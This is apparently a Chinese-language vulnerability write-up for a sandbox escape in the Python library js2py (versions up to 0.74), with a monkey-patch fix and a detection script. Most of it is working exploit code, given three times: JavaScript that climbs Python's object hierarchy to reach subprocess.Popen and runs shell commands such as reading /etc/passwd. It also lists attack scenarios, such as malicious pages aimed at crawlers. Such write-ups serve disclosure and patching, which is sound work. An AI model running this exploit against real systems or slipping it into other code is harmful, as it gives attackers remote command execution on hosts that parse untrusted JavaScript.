js2py 沙盒逃逸漏洞分析与利用
项目描述
js2py 是一个广泛使用的 Python 库,能够在 Python 原生环境中解析并执行 JavaScript 代码。该库常被爬虫程序用于解析网页中的 JS 代码,模拟浏览器环境。
然而,js2py 存在一个危险的沙盒逃逸漏洞。正常情况下,用户会调用 js2py.disable_pyimport() 来阻止 JS 代码导入 Python 模块,防止代码逃逸。但利用本漏洞,攻击者可以绕过这一限制,在主机上执行任意命令。
该漏洞影响 Python 3 环境下运行的 js2py(版本 ≤ 0.74),目前已影响包括 pyload、cloudscraper、lightnovel-crawler 等多个知名项目。
功能特性
- 沙盒环境执行 JS 代码:在 Python 中安全执行 JavaScript 代码
- JS 与 Python 对象互转:支持 JavaScript 与 Python 数据类型之间的自动转换
- 内置 JS 对象支持:提供
console、Object等标准内置对象 - Python 包导入支持(危险功能):允许在 JS 中导入并使用 Python 包
- 漏洞特性:在 Python 3 环境下,
Object.getOwnPropertyNames()返回的dict_keys对象会被转换为PyObjectWrapper,导致沙盒逃逸
安装指南
受影响版本安装
# 安装受影响版本(≤0.74)
pip install js2py<=0.74
依赖要求
- Python 3.x(不支持 Python 3.12 及以上版本)
six库(自动安装)
修复方法
方法一:动态补丁
使用 fix.py 中的代码动态修复:
def monkey_patch():
"""Patching js2py for a vulnerability"""
from js2py.constructors.jsobject import Object
fn = Object.own["getOwnPropertyNames"]["value"].code
def wraps(*args, **kwargs):
result = fn(*args, **kwargs)
return list(result)
Object.own["getOwnPropertyNames"]["value"].code = wraps
if __name__ == "__main__":
monkey_patch()
方法二:源码修复
修改 js2py/constructors/jsobject.py,将 getOwnPropertyNames 的返回值转为列表。
使用说明
漏洞验证
运行以下 POC 代码验证漏洞是否存在:
import js2py
payload = """
let cmd = "head -n 1 /etc/passwd"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11
"""
result = js2py.eval_js(payload)
print(result)
利用步骤
- 获取 Python 对象引用:通过
Object.getOwnPropertyNames({})获取PyObjectWrapper - 链式属性访问:利用
__getattribute__、__class__、__base__获取基类对象 - 查找目标类:递归遍历
__subclasses__()找到subprocess.Popen - 执行命令:调用
Popen执行任意系统命令
攻击场景
- 恶意网站包含恶意 JS 文件,爬虫解析时触发 RCE
- 通过 HTTP API 发送恶意脚本供受害者解析
- 任意可让目标解析 JS 代码的注入点
核心代码
漏洞触发核心代码
import js2py
# 核心漏洞利用:通过 Object.getOwnPropertyNames 获取 PyObjectWrapper
code = """
// 获取 Python 对象包装器
let hacked = Object.getOwnPropertyNames({})
// 获取 __getattribute__ 方法
let bymarve = hacked.__getattribute__
let n11 = bymarve("__getattribute__")
// 获取 object 基类
let obj = n11("__class__").__base__
let getattr = obj.__getattribute__
// 递归查找 subprocess.Popen
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
// 执行系统命令
let cmd = "id"
let popen = findpopen(obj)
let result = popen(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(result)
"""
js2py.eval_js(code)
漏洞修复补丁代码
def monkey_patch():
"""
动态修复 js2py 沙盒逃逸漏洞
将 getOwnPropertyNames 的返回值从 dict_keys 转换为普通列表
"""
from js2py.constructors.jsobject import Object
# 保存原始函数
fn = Object.own["getOwnPropertyNames"]["value"].code
# 包装函数,转换返回值为列表
def wraps(*args, **kwargs):
result = fn(*args, **kwargs)
return list(result)
# 替换为修复后的函数
Object.own["getOwnPropertyNames"]["value"].code = wraps
if __name__ == "__main__":
monkey_patch()
漏洞检测代码
import js2py
from sys import version
def test_poc():
"""检测 js2py 是否存在沙盒逃逸漏洞"""
payload = """
let cmd = "head -n 1 /etc/passwd"
let hacked = Object.getOwnPropertyNames({})
let bymarve = hacked.__getattribute__
let n11 = bymarve("__getattribute__")
let obj = n11("__class__").__base__
function findpopen(o) {
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type") {
let result = findpopen(item)
if(result) return result
}
}
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
result
"""
etcpassword_piece = "root:x:0:0"
try:
result = repr(js2py.eval_js(payload))
return etcpassword_piece in result
except Exception:
return False
def main():
if test_poc():
print(f"Success! the vulnerability exists for python {repr(version)}")
else:
print(f"Failed for python {repr(version)}")
if __name__ == "__main__":
main()
6HFtX5dABrKlqXeO5PUv//acawL+Es8u5PfOn2rbGYenIZz1UqEs/oHmh4nq5ABgeKVGTj/LErh9/eXYHdVKbg==